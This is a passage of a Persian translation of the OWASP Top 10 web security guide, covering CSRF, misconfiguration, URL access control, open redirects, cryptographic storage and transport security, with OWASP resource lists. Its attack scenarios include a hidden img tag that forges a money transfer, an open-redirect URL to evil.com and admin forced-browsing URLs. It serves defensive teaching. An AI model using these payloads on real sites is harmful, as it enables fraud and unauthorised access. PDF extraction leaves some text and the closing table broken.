مثال از سناريوی حمله:

برنامه به يك كاربر اجازه ميدهد كه يك در خواس��ت تغيير حالت كه ش��امل 
هيچ محتوای محرمانه اي نيست، ارسال كند:

http://example.com/app/transferFunds?amount=1500&destination
Account=4673243243

مهاجم درخواس��تي را ايجاد مي كند كه باعث انتقال پول از حس��اب كاربر به 
حس��اب خودش مي ش��ود و اين درخواس��ت خود را در يك درخواست تصوير  در 

وبگاه  ديگر تحت کنترل خود جاسازی می کند.

<imgsrc= "http://example.com/transferFunds?
amount=1500&destinationAccount=attackersAcct#“
width="0" height="0" />

اگ��ر كاربر قربان��ي در وبگاه  example.com ورود کند و هويت س��نجی آن با 
موفقيت انجام پذيرد و س��پس هر يك از اين وب��گاه  های تحت کنترل مهاجم را 
بازديد كند، درخواس��ت جعلی قبلا ايجاد شده شامل اطلاعات نشست کاربر اجرا 

می شود.
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منابع

OWASP
•OWASP CSRF Article
•OWASP CSRF Prevention Cheat Sheet
•OWASP CSRFGuard-CSRF Defense Tool 
•ESAPI Project Home Page 
•ESAPI HTTPUtilitiesClass with AntiCSRFTokens
•OWASP Testing Guide: Chapter on CSRF Testing
•OWASP CSRFTester-CSRF Testing Tool 

External
•CWE Entry 352 on CSRF
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آيا آسيب پذير هستيد؟
آيا امن سازی مناسب در تمام سطوح مورد نياز اجرای برنامه کاربردی از زيرساخت 

گرفته تا کد برنامه انجام شده است.
1. آيا فرايند مدون و اجرايی مناسب جهت اعمال آخرين وصله های2  امنيتی 
  OS, Web/App Server, DBMS بر روی تمام نرم افزارهای س��ازمان خود ش��امل

و... داريد؟
2.  آيا هر مورد غير ضروری مانند درگاه ها، خدمات، صفحات و حس��اب های 

کاربری غير ضروری حذف يا غير فعال شده است؟ 
3. آيا گذرواژه های پيش فرض تغيير داده شده و يا غير فعال شده است ؟

4. ايا تمام تنظيمات امنيتی به درستی پيکربندی شده است؟
5. آيا همه رايانه های خدمات دهنده توسط سپرواره)فايروال( حفاظت می شود؟
فرآين��دی مداوم برای ايجاد و نگه داری پيکربندی مناس��ب امنيتی مورد نياز 

است. 

برای جلوگيری چه بايد کرد؟
توصيه های اوليه شامل موارد زير می شود:

1. تعري��ف فرآيند تکرار پذير امن س��ازی که توانايی ايجاد آس��ان و س��ريع 
محيط امن را داش��ته باشد. محيط توسعه، آزمون  و عمليات بايد دقيقا مانند هم 
پيکربندی شود. اين فرآيند بايد جهت به حداقل رساندن اقدامات مورد نياز برای 

ايجاد مکان امن به صورت خودکار صورت پذيرد.
2. تعري��ف فرايند تکرارپذير جهت حصول اطمينان از اعمال وصله های جديد 
ن��رم افزاره��ای مختل��ف در کوتاه ترين زم��ان ممکن و بر روی هم��ه محيط های 

عملياتی. 

پیکربندی نادرست امنیت1
:A6

1. Security Misconfiguration                              2. Patch

www.SoftGozar.Com
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3. طراحی و پياده س��ازی معماری امن ش��بکه که امنيت مناسبی را در بين 
اجزاء مختلف ايجاد می کند.

مثال از سناريوی حمله:
سـناريوی اول: آس��يب پذيري UTF-8 در رايان��ه ی خدمات دهنده ی برنامه 
شناس��ايی می شود و وصله مربوطه جهت برطرف کردن آسيب پذيری مورد نظر 
منتش��ر مي ش��ود ولی آن را بر روی برنامه اعمال نمی کنيد. مهاجم با مهندسي 
معكوس بر روی وصله منتش��ر ش��ده، به آس��يب پذيری پی برده و با پويش گری 
شبکه، رايانه های خدمات دهنده ی فاقد وصله مربوطه را شناسايی و حمله را انجام 

می دهد. 
سـناريوی دوم: کنسول مديريت به طور خودکار نصب شده و هنوز غير فعال 
نش��ده اس��ت و حس��اب های کاربری پيش فرض هنوز تغيير نكرده است. مهاجم 
صفحات استاندارد مدير وبگاه  را بر روی رايانه های خدمات دهنده کشف کرده و با 
گذرواژه  پيش فرض وارد شده و رايانه های خدمات دهنده  را در اختيار مي گيرد.

سناريوی سوم: فهرست کردن دايرکتوری1  بر روی رايانه های خدمات دهنده  
غير فعال نشده اس��ت. مهاجم با فهرست كردن دايركتوري ها مي تواند به سادگي 
به تمام فايل های رايانه های خدمات دهنده  از جمله کلاس های ترجمه ش��ده جاوا 

و در نتيجه کد برنامه دسترسي پيدا كند. 

1. Directory listing
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منابع

OWASP
•OWASP Development Guide: Chapter on Configuration
•OWASP Testing Guide: Configuration Management
•OWASP Top 10 2004 -Insecure Configuration Management For additional 
requirements in this area, see the ASVS requirements area for Security Con-
figuration (V12).

External
•PC Magazine Article on Web Server Hardening
•CWE Entry 2 on Environmental Security Flaws
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آيا آسيب پذير هستيد؟
بهترين راه برای کش��ف اين آسيب پذيری بررس��ی تمام صفحات است . در نظر 
داشته باشيد که آيا صفحه مورد بررسی قرار بوده از نوع عمومی است يا خصوصی 

. برای صفحات خصوصی:
1. آيا برای دسترسی به اين صفحه اصالت سنجی مورد نياز است؟

2. قرار است که اين صفحه برای تمام کاربران اصالت سنجی شده در دسترس 
باش��د؟ اگر خير، آيا يک کنترل دسترس��ی برای اطمينان از اجازه دسترس��ی هر 

کاربر به اين صفحه در نظر گرفته شده است؟
اغل��ب روش های امنيت��ی بيرونی کنترل دسترس��ی، امکان اصالت س��نجی و 
اعتبارس��نجی را برای هر صفحه فراهم می کنند، توجه داشته باشيد که تنظيمات 
آن ها برای هر صفحه مناسب باشد. اگر محافظت در سطح کد برنامه مورد استفاده 
قرار می گيرد، توجه کنيد که برای تمام صفحات مورد نياز اين اقدام صورت گرفته 

باشد. 

برای جلوگيری چه بايد کرد؟ 
برای جلوگيری از دسترسی به URL های غير مجاز، نيازمند انتخاب روش مناسبی 
برای تعيين اصالت سنجی و مجوز دسترسی مناسب برای هر صفحه هستيم. اغلب، 
چنين کنترل هائی توس��ط يک يا چند مولفه خارج از کد برنامه فراهم می ش��ود. 

صرف نظر از اين روش ها، توصيه می شود که:
1. خط مش��ی های اصالت س��نجی و مجوز دهی بايد مبتنی بر نقش2 باشد، تا 

تلاش ها برای رعايت اين خط مشی ها به حداقل رسانده شود.
2. خط مش��ی ها بايد از انعطاف پذيری لازم جهت تغييرات احتمالی برخوردار 

باشد و جنبه های ثابت خط مشی ها بايد به حداقل ممکن برسد.

1 URL شکست در محدودسازی دسترسی به
:A7

1. Failure to Restrict URL Access                    2. Role
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3. کنترل های اجرائی بايد به طور پيش فرض از همه دسترس��ی ها جلوگيری 
کنند به جز آن ها که مجاز به دسترسی هستند.

مثال از سناريوی حمله:
مهاج��م به راحت��ي URL مقصد را در مرورگر تايپ می کند. قرار بوده اس��ت 
که دسترس��ی به نشانی های زير نيازمند اصالت سنجی و علاوه بر اين دسترسی به 

نشانی دوم نيازمند دارا بودن حساب کاربری مدير وبگاه  باشد.

http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

اگر مهاجم اصالت س��نجی نش��ود و به هر دو صفحه دسترسی پيدا کند، پس 
دسترس��ی غير مجاز به اين صفحات اجازه داده ش��ده است. همچنين اگر كاربري 
غير از مدير وبگاه  به صفحه admin_getappInfo دسترسي داشته باشد، اين هم 

نشان گر وجود اين آسيب پذيری است. 
اي��ن آس��يب پذيری ها زماني ش��کل می گيرن��د كه برنامه نويس س��عی می 
کن��د پيونده  ها  و دکمه های مربوط به صفحاتی که قرار اس��ت حفاظت ش��وند از 
ديد كاربران غير مجاز پنهان باش��د اما روش مناس��ب اصالت سنجی مناسب برای 

دسترسی به آن صفحه انجام نمی شود.
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منابع

OWASP
•OWASP Top 10-2007 on Failure to Restrict URL Access
•ESAPI Access Control API
•OWASP Development Guide: Chapter on Authorization
•OWASP Testing Guide: Testing for Path Traversal
•OWASP Article on Forced BrowsingFor additional access control require-
ments, see the ASVS requirements area for Access Control (V4).

External
•CWE Entry 285 on Improper Access Control (Authorization)



آشناييبابالاترينمخاطراتامنيتيوبگاهها

46

آيا آسيب پذير هستيد؟
1. ک��د برنامه را با هدف پيدا کردن تمام تغيير مس��يرها2 به نش��انی  های بيرونی 
و هداي��ت3 به صفح��ات داخلی )در .NET انتقال4 ناميده می ش��ود( مورد بازبينی 
ق��رار دهيد. در صورت پيدا کردن مواردی از آن در دس��ت بررس��ی کنيد که آيا 
URL مقصد دارای متغير اس��ت يا خير؟ اگر جواب مثبت بود بررسی کنيد که آيا 
اعتبارس��نجی لازم جهت قرارگرفتن صرفا نشانی  های مقصد مجاز در مقدار متغير 

صورت می پذيرد؟
2.  وبگاه را بررسی کنيد که آيا هيچ گونه تغيير مسيری توليد می کند يا خير 
)کدهای پاس��خ ش��ماره 307-300 و معمولا 302 از HTTP (. متغيرهای موجود 
 URL  در اين تغيير مس��يرها را مورد بررس��ی قرار دهيد که آيا ش��امل يک نشانی
مقصد يا بخشی از آن است. اگر اين چنين است، نشانی  URL مقصد را تغيير داده 

و بررسی کنيد که آيا به مقصد جديد هدايت خواهيد شد؟
3.  اگر کد برنامه در دس��ترس نيست، تمامی متغيرها را بررسی کنيد که آيا 

مشابه نشانی های URL تغيير مسير و هدايت هستند؟

برای جلوگيری چه بايد کرد؟
استفاده امن از تغيير مسيرها و انتقال می تواند با روش های زير انجام گيرد:

1. از به کارگيری تغيير مس��يرها به نش��انی  های ديگر و انتقال به ديگر صفحات 
خودداری کنيد.

2. اگر مجبور به استفاده هستيد، از متغير سمت کاربر براي تعيين مقصد استفاده 
نكنيد. 

 sendRedirect برای حل کردن مش��کل متد ESAPI  3. برنامه ه��ا می توانن��د از

تغییرمسیردهی و انتقال های نامعتبر1
:A8

1. Unvalidated Redirects and Forwards                  2. Redirect
3. Forward                                               4. Transfer
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استفاده کنند تا اطمينان حاصل نمايند همه مقاصد تغيير مسيرها امن است.
پيش��نهاد می ش��ود که متغيرهای بيان گر مقصد از نوع مقادير نگاشت شده و نه 
نشانی  واقعی URL باشند تا کد برنامه سمت رايانه ی خدمات دهنده ترجمه مقدار 

نگاشت شده را به نشانی  مقصد انجام دهد.

مثال از سناريوی حمله:
سناريوی اول: برنامه صفحه اي با نام redirect.jsp دارد كه يك متغير ساده به نام 
»url« مي گيرد. مهاجم يک نش��انی  URL مخرب را در مقدار اين متغير قرار می 
دهد و کاربر را به سمت يک وبگاه  مخرب كه منجر به نصب نرم افزارهای مخرب 

يا سرقت اطلاعات کاربر می شود، هدايت می کند.

http://www.example.com/redirect.jsp?url=evil.com

س��ناريوی دوم: برنامه از هداي��ت جهت جابجايی بين بخش ه��اي مختلف وبگاه  
استفاده مي كند. در اين گونه موارد مهاجمان در بخش متغير هدايت، URL صفحه 
ای را درج می کنند که دسترس��ی به عمليات مديريت وبگاه  داش��ته و در حالت 

معمول غير قابل دسترس است.

http://www.example.com/boring.jsp?fwd=admin.jsp
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منابع

OWASP
•OWASP Article on Open Redirects 
•ESAPI SecurityWrapperResponsesendRedirect() methodExternal

External
•CWE Entry 601 on Open Redirects 
•WASC Article on URL Redirector Abuse
•Google blog article on the dangers of open redirects
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آيا آسيب پذير هستيد؟
اولي��ن چي��زی که بايد تعيين كنيد، اين اس��ت که چه داده هائ��ي به اندازه کافی 
حساس هستند كه نياز به رمزگذاری داشته باشند. برخي از داده هاي حساس كه 
نيازمند رمزگذاري هس��تند عبارتند از: گذرواژه ه��ا، اطلاعات كارت هاي اعتباري، 

سوابق بهداشتی و ... . 
1. همه داده های حس��اس خصوصا در محل هايی که به صورت طولانی مدت 

نگه داری می شوند، مانند نسخه پشتيبان داده ها بايد رمزگذاری شوند. 
2. تنها کاربران مجاز می توانند به نس��خه های رمزگش��ايی ش��ده  از داده ها 

دسترسی داشته باشند.
3.  الگوريتم رمزنگاری قوی و استاندارد مورد استفاده قرار گيرد.

4. کليدهای قوی ايجاد ش��ود و از دسترسی غير مجاز حفاظت شده و همواره 
طی يک سياست مناسب کليدها تغيير پيدا کند.

براي اطلاعات بيش تر به ASVS requirements on Cryptography رجوع شود. 

برای جلوگيری چه بايد کرد؟
1. تهديدهای وارد بر داده ها بايد مورد توجه قرار گيرد تا اطمينان حاصل ش��ود 
که رمزگذاری داده ها به صورتی انجام پذيرد که در مقابل اين تهديدها اثربخش باشد.

2. مطمئن شويد كه اطلاعات پشتيبان رمزنگاري شده است. کليدها نيز بايد 
جداگانه مديريت و از آن ها نسخه پشتيبان تهيه شود.

3. اطمينان حاصل كنيد كه  از الگوريتم های مناسب، قوی و استاندارد با يك 
مديريت مناسب استفاده مي شود.

4. مطمئن ش��ويد كه گذرواژه ها با الگوريتم قوی و استاندارد رمزگذاری شده 
است .

ذخیره سازی رمزنگاشتی ناامن1
A9:

1. Insecure Cryptographic Storage

www.SoftGozar.Com
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5. اطمينان حاصل كنيد كه تمام کليدها و گذرواژه ها  از دسترس��ی های غير 
مجاز محافظت می شود.

مثال از سناريوی حمله:
سـناريوی اول: در يك برنام��ه، اطلاعات كارت هاي اعتب��اري در پايگاه داده 
رمزگذاري مي ش��ود. با اين حال پايگاه داده  به گونه اي تنظيم ش��ده است كه به 
طور خودكار پرسمان های وارد بر ستون اطلاعات کارت های اعتباری را رمزگشائي 
م��ی کند. وجود يك آس��يب پذيری تزريق در SQL، اج��ازه بازيابي تمام اطلاعات 
مربوط به كارت هاي اعتباري رمزگش��ايی ش��ده را مي دهد. )س��امانه  بايد به گونه 
اي تنظيم شود كه تنها به برنامه هاي پسين)back end( اجازه رمزگشائي دهد، نه 

)front end(برنامه هاي پيشين
سـناريوی دوم: يک نس��خه پش��تيبان از ركوردهاي رمزگذاری شده تشكيل 

شده است، اما كليد رمزگذاري نيز در همان نسخه پشتيبان  قرار دارد.
سناريوی سوم: بانک اطلاعاتی گذرواژه ها از رمزگذاری ناپرورده1 برای ذخيره 
گذرواژه های  هر کاربر استفاده مي كندکه در مدت زمان 4 هفته می تواند ضعيف 

شود ولی رمزگذاری پرورده ممکن است بالای 300 سال طول بکشد.

1. unsalted 
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منابع

OWASP
•OWASP Top 10-2007 on Insecure Cryptographic Storage
•ESAPI EncryptorAPI 
•OWASP Development Guide: Chapter on Cryptography
•OWASP Code Review Guide: Chapter on Cryptography

External
•CWE Entry 310 on Cryptographic Issues
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آيا آسيب پذير هستيد؟
بهترين راه برای فهميدن اين موضوع كه آيا حفاظت مناس��ب از لايه انتقال2 صورت 

مي گيرد، بررسي موارد زير است:
SSL .1 برای تمام منابع و بر روی تمام صفحات و خدمات خصوصی استفاده می 
شود. اين کار از تمام داده ها و مجوزهای اصالت سنجی که رد و بدل می شوند، حفاظت 
می کند. از تركيب SSL ها در يك صفحه نبايد استفاده كرد زيرا باعث اعلام هشدار در 

مرورگر كاربر شده و امکان افشاي شناسه نشست كاربران وجود دارد.
2. فقط از الگوريتم های قوی استفاده شود.

3. فيلد مربوط به امنيت همه ردنما های نشست بايد تنظيم شود تا مرورگر هيچ 
گاه آن ها را به صورت رمزگذاری نشده ارسال نکند.

4. گواهی رايانه ی خدمات دهنده بايد معتبر و داراي تنظيمات مناس��ب باش��د. 
گواهی بايد توسط صادر کننده معتبر ارائه شده باشد، منقضی و لغو نشده باشد و تمام 

دامنه هاي مرتبط با وبگاه  مورد نظر را در بر بگيرد.

برای جلوگيری چه بايد کرد؟
حفاظت مناس��ب از لايه انتقال داده مي تواند طراحی وبگاه  را متاثر کند. روش س��اده 
اس��تفاده از SSL برای کل وبگاه  است. به دلايلی نظير بالا بردن کارايی وبگاه  ، برخی 
SSL را فقط بر روی صفحات خصوصی و برخی ديگر از آن فقط بر روی صفحات بحرانی 
استفاده می کنند که اين موضوع ممکن است موجب افشای شناسه نشست و ديگر 

اطلاعات حساس شود. 
 SSL برای تمام صفحات حساس الزامی شود. درخواست های غير SSL 1. استفاده از

بايد به صفحات SSL هدايت شود.
2. فيلد مربوط به امنيت ردنما های نشست حساس بايد تنظيم شود.

حفاظت غیرکافی از لایه ی ترابرد1
:A10

1. Insufficient Transport Layer Protection                       2. Transport layer
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 FIPS خ��ود را به گونه ای تنظيم کنيد که از الگوريتم های منطبق با SSL/TLS .3
140-2  پشتيبانی کند.

4. مطمئن شويد كه گواهی نامه شما معتبر است، منقضی و لغو نشده است، و تمام 
دامنه هاي مرتبط با وبگاه  شما را در بر ميگيرد.

مثال از سناريوی حمله:
 SSL سناريوی اول: وبگاه  براي تمام صفحاتي كه به احراز هويت احتياج دارد، از
استفاده نمي كند، در اين حالت مهاجم مي تواند به سادگی و با پايش ترافيک شبکه 
)مانند مودم بي سيم همس��ايه( ، ردنما نشست يك كاربر قربانی احراز هويت شده را 
مش��اهده كند. س��پس مهاجم می تواند از ردنما اس��تفاده کرده و نشست كاربر را در 

اختيار گيرد.
سـناريوی دوم: وبگاه  از SSL با تنظيمات نامناس��ب اس��تفاده مي كند كه باعث 
نمايش هش��دار در مرورگر كاربران مي ش��ود. کاربران مجبور به قبول هشدارها براي 
ادامه كار هستند، كه اين باعث مي شود كه كاربر به ديدن برخي هشدارها عادت داشته 
باش��د. حمله  تورگذاری  که منجر به هدايت کاربر به وبگاه  نامطمئن  مش��ابه ای می 
ش��ود، در مرورگر هشدارهاي مش��ابهي مي دهد، از آن جائي كه كاربران به ديدن اين 
پيغام ها و هش��دارها عادت دارند، آن ها به كار خود ادامه مي دهند و در واقع از وبگاه  
تورگذاری  استفاده مي كند و گذرواژه  و يا ساير اطلاعات خصوصی خود را در اختيار 

مهاجم قرار مي دهند.
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گام بعدی برای برنامه نويسان چيست؟
چنانچه با امنيت برنامه های کاربردی آش��نائی چندانی نداش��ته باش��يد و يا اين 
که با مخاطرات موجود در اين زمينه بس��يار آش��نا باش��يد، بايد بدانيد که توليد 
برنامه های جديد امن و همچنين امن س��ازی برنامه های موجود کار سختی است. 
اگ��ر بايد تع��داد زيادی برنامه کاربردی را مديريت کني��د، اين کار پيچيده تر نيز 
خواهد ش��د. OWASP برای کمک به س��ازمان ها و برنامه نويس��ان، جهت کاهش 
مخاط��رات موجود در زمين��ه امنيت برنامه های کاربردی ب��ا يک روش مقرون به 
صرفه، تعدادی ابزار رايگان و متن باز را توليد کرده است که می توان برای تامين 

امنيت برنامه های کاربردی در سازمان ها از آن ها استفاده کرد.
مواردی که در ادامه آورده ش��ده، بخش��ی از منابع OWASP برای سازمان ها 

جهت تامين امنيت در زمينه برنامه های کاربردی است. 

الزامات امنیت برنامه ی 
کاربردی

 Application Security
Requirements

معماری امنیت برنامه ی 
کاربردی

 Application Security
Architecture

کنترل های امنیت 
استاندارد

 Standard Security
Controls

ب��رای تولی��د برنامه کارب��ردی امن، ابت��دا بای��د تعریف خ��ود را از امنیت 
 OWASP Application Security مش��خص کرد. در این زمین��ه می ت��وان از
Verification Standard )ASVS ب��ه عن��وان راهنم��ا در زمینه تعیین نیازهای 
امنیتی برنامه ها اس��تفاده ک��رد و چنانچه فعالیت های مرتب��ط با این موضوع 
 OWASP Secure Software Contract را برون س��پاری کرده اید، به س��ند

Annex رجوع کنید.

اگر طراحی امنیت از ابتدا و در معماری برنامه ها مورد توجه قرار گیرد، بهتر 
و مقرون به صرفه تر خواهد بود نس��بت به زمان��ی که امنیت را در برنامه ها 
وارد کنیم. OWASP س��ندی را با نام OWASP Developer’s Guide  منتشر 
کرده که نقطه ش��روع مناسبی برای راهنمایی چگونگی طراحی امن برنامه ها 

است.

ایجاد کنترل های امنیتی  مناس��ب و قابل اس��تفاده کار مش��کلی است. ارائه 
مجموع��ه ای از اس��تانداردها در این زمینه، کمک ش��ایان توجهی به برنامه 
 OWASP ، نویس��ان جهت پدیدآوری برنامه های ام��ن می کند. در این زمینه

 OWASP Enterprise Security API )ESAPI( project
 را ب��ه عن��وان مدلی ب��رای API ه��ای امنیتی م��ورد نیاز جه��ت پدیدآوری 
  ESAPI برنامه ه��ای کارب��ردی امن تح��ت وب پیش��نهاد می دهد. همچنی��ن
 Java, .NET, PHP Classic ASP, Python, م��واردی را پیاده س��ازی ش��ده در

Cold Fusion, Haskell مثال می زند.
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ب��ه منظور بهب��ود فرآین��د پدی��دآوری ش��رکت های پدی��دآور برنامه های 
 OWASP ، OWASP Software Assurance Maturity Model  کارب��ردی، 
)SAMM(  را پیش��نهاد می ده��د. این برنامه به س��ازمان ها کمک می کند تا 
راهبرد مش��خصی در زمینه امنیت نرم افزاره��ا ، جهت برخورد با مخاطرات 

خاصی که سازمان ها با آن ها روبرو هستند، اجرا کنند. 

OWASP Education Project ، م��وارد آموزش��ی را ب��رای کم��ک به برنامه 
نویس��ان در زمینه امنیت برنامه ها ارائه كرده است. علاوه بر این برای یافتن 
 OWASP WebGoat مطالب آموزش��ی در زمینه آس��یب پذیری برنامه ها از

کمک بگیرید. 

چرخه ی عمر پدیدآوری 
امن

 Secure Development
Lifecycle

آموزش امنیت امنیت 
برنامه ی کاربردی

 Application Security
Education

منابع متنوع تری در اين زمينه در وبگاه  OWASP برای اس��تفاده عموم قابل 
دسترسی است. 

گام بعدی برای ارزياب ها چيست؟
به منظور بررس��ی امنيت برنامه تحت وب ک��ه پديدآورده ايد يا قصد خريد آن را 
داريد، OWASP پيش��نهاد می کند که در صورت امکان کد برنامه مورد بازبينی و 
برنامه مورد آزمون  قرار گيرد. بهترين پيشنهاد انجام ترکيبی از روش های بازبينی 
کد برنامه و آزمون  نفوذ است زيرا اين كار اجازه می دهد از مزيت های هر دو روش 
به عنوان روش های مکمل يکديگر بهره ببريد. ابزارهای موجود می تواند بهره وری 
و اثربخش��ی تحليلگر را افزايش دهد. ابزارهای ارزيابی OWASP به جای تمرکز بر 
روی خودکار کردن فرايند ارزيابی، به تحليلگر کمک می کند تا موثرتر و با قدرت 

تحليل بيش تر عمل کند.
استانداردسازی روش ارزيابی امنيت برنامه های کاربردی تحت وب: برای کمک 
به س��ازمان ها جهت افزايش انس��جام و دقت هنگامی که امنيت برنامه ها را ارزيابی 
 Application Security Verification Standard )ASVS( استاندارد OWASP ،می کنند
را تهيه کرده اس��ت. در اين سند حداقل اس��تاندارد ارزيابی جهت ارزيابی امنيت 
برنامه های کاربردی تحت وب تعريف ش��ده اس��ت. OWASP پيشنهاد می کند که 
از اين س��ند تنها به عنوان راهنما هنگام ارزيابی امنيت استفاده نشود، بلکه برای 
يافتن روش های مناسب و يافتن سطحی از دقت که برای ارزيابی امنيت مورد نياز 
اس��ت، می توانيد اس��تفاده کنيد. همچنين مي توانيد برای انتخاب ارائه کننده اين 
گونه خدمات نيز از اين راهنما اس��تفاده كنيد. )برای انتخاب بين شرکت هايی که 

اين خدمات را به شما پيشنهاد می دهند.(
مجموعـه ابزارهـای ارزيابـی: OWASP Live CD Project  برخ��ی از بهتري��ن 
ابزارهای متن باز امنيت را در يک جا جمع آوری کرده اس��ت. برنامه نويس��ان وب، 



دبيرخانةشورايعالياطلاعرساني

61

 آزمايش کنن��دگان و متخصص��ان امنيتی م��ی توانند از اين ابزاره��ا در قالب يک
Live CD اس��تفاده کنند. هيچ يک از اين ابزارها به نصب يا تنظيمات خاصی نياز 

ندارند. 

بازبيني كدها:
OWASP راهنم��اي OWASP Code Review Guide را براي كمك به متخصصان 
امنيت و برنامه نويس��ان انتشار داده اس��ت تا آن ها را با چگونگي بازبينی كد يك 
برنامه، جهت ارزيابي امنيتي آش��نا كند. بس��ياری از آس��يب پذيری های امنيتي 
مانند تزريق از طريق بازبيني كد نس��بت به ديگر روش ها ساده تر تشخيص داده 

می شوند.

ابزارهای بازبينی کد:
OWASP فعاليت هاي اميدواركننده اي در زمينه تجزيه و تحليل کدها انجام داده 
و ابزارهائي را توليد کرده است، اما اين ابزارها هنوز در مراحل اوليه خود هستند و 
ممكن است كارشناسان غيرحرفه اي در كاركردن با اين ابزارها با مشكلاتي مواجه 

باشند. اين ابزارها شامل CodeCrawler, Orizon, and O2 هستند.

آزمون  نفوذ:
آزمـون  نفوذ برنامه ها: OWASP، يك راهنمای آزمون براي راهنمائي و كمك به 
برنامه نويسان، آزمايش کنندگان برنامه ها و متخصصان امنيت نرم افزار تهيه كرده 
اس��ت تا ب��ه آن ها آموزش دهد که چگونه به طور موث��ر و کارا، امنيت برنامه های 
کارب��ردی تحت وب را بررس��ي كنند. اي��ن راهنما س��رفصل هاي مختلفي درباره 
بررسي امنيت برنامه ها را شامل مي شود. بسيار مهم است كه بتوانيد غيرامن بودن 
يك برنامه را با مثال عملی ثابت كنيد. همچنين مس��ائل امنيتی بس��ياري وجود 
دارد كه ناشي از زيرساخت های نرم افزاري است، كه اين موارد به راحتي و تنها با 

بازبيني كدها، مشخص نمي شوند.
ابزار آزمون  نفوذ برنامه ها: Web Scarab كه ابزار آزمون  برنامه های کاربردی 
تحت وب اس��ت ب��ه تحليلگر امنيتی اج��ازه رهگيری درخواس��ت ها را مي دهد و 
تحليلگر مي تواند از چگونگي كار برنامه ها مطلع ش��ود، س��پس درخواس��ت هاي 
آزمون��ي را ب��راي فهميدن اين موضوع كه آيا برنامه از امنيت مناس��بي در مقابل 
برخي درخواس��ت ها، برخوردار هس��ت يا خير، ارس��ال كند. اين اب��زار در زمينه 
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شناسائي آسيب پذيری های XSS و اصالت سنجی  بسيار كارآمد عمل مي كند. 

نکاتی در مورد مخاطرات:
اگرچه نسخه های قبلی اين گزارش  بر »آسيب پذيری ها« تمرکز داشته است، اما 
در نس��خه فعلی تمرکز اصلی بر روی مخاطرات است . در اين نسخه مخاطرات در 
ده دس��ته مهم معرفي شده اند و نشان داده مي ش��ود كه چگونه ترکيب مهاجم، 
بردارهای حمله، آس��يب پذيری، اثرات فني و تج��اري و ... باعث ايجاد مخاطرات 

می شود.
ن��ام ب��ه  مخ��اط���رات  رتبه بن��دي  ب���راي  روش����ي  رابط��ه  اي����ن   در 
 OWASP Risk Rating Methodology تهيه ش��ده اس��ت، كه براي هر ده مورد 
مخاطره مطرح شده، بر اساس مقادير احتمال وقوع و اثر، شاخص مخاطره محاسبه 

شده و اولويت بندی شده است.
OWASP Risk Rating Methodology متغيره��ای مه��م را جهت محاس��به 
مخاطرات با توجه به آسيب هاي شناخته شده، مشخص مي كند. اما هرگز با دقتي 
كه يك سازمان مي تواند مخاطرات برنامه های خود را شناسائي كند، برخورد نشده 
اس��ت، زيرا فقط مديران يك سازمان هس��تند كه از اهميت برنامه ها و اطلاعات، 
خطرهاي موجود، چگونگي س��اخته ش��دن س��امانه  و نحوه عملك��رد آن ها مطلع 

هستند.
اين روش ش��امل س��ه پارامتر احتمال براي هر آس��يب پذيری )شيوع، قابليت 
تشخيص و سادگی نفوذ(  و يك پارامتر اثر )شدت اثر فنی( است. شيوع يک آسيب 
پذيری عاملي است كه نياز به محاسبه توسط شما ندارد. براي محاسبه عامل شيوع، 
آمارهای مربوطه از سازمان هاي مختلف جمع آوري شده و ميانگين آن ها به عنوان 
احتمال در فهرست قرار مي گيرد. سپس اين داده ، با مقادير احتمال دو عامل ديگر 
يعنی قابليت تش��خيص و سادگی نفوذ ترکيب شده و با حاصلضرب نهايی در عامل 

شدت اثر فنی شاخص نهايی مخاطره محاسبه می شود. 
توج��ه کني��د که در اي��ن روش احتمال مهاج��م و جزئيات فن��ی برنامه های 
کاربردی مختلف مورد توجه قرار نگرفته اس��ت. هر کدام از اين عوامل می توانند 
ميزان کلی احتمال نفوذ موفق را متاثر کنند. اين روش همچنين ميزان تاثير نفوذ 
 OWASP TOP 10 را بر روی کس��ب و کار ش��ما لحاظ نمی کند. به عبارتی هدف

ارزيابی مخاطرات کلان و نه مخصوص برای سازمان خاص بوده است.
در زير محاس��بات انجام گرفته براي مخاطره )A2 )XSS به عنوان مثال نشان 

داده شده است:

www.SoftGozar.Com



دبيرخانةشورايعالياطلاعرساني

63

ری
جا

ر ت
اث

نی
ر ف

اث
ی 

یر
پذ

ب 
سی

آ
له

حم
ار 

رد
ب

ید
هد

ل ت
عام

ص 
خی

تش
ی 

دگ
سا

ان
آس

سط
متو

ثر 
ا

اد
 زی

وع
شی

وذ 
 نف

گی
اد

س
سط

متو

1

1

2/
۶

1/
3

2 2

2



آشناييبابالاترينمخاطراتامنيتيوبگاهها

64


	عع
	خخ



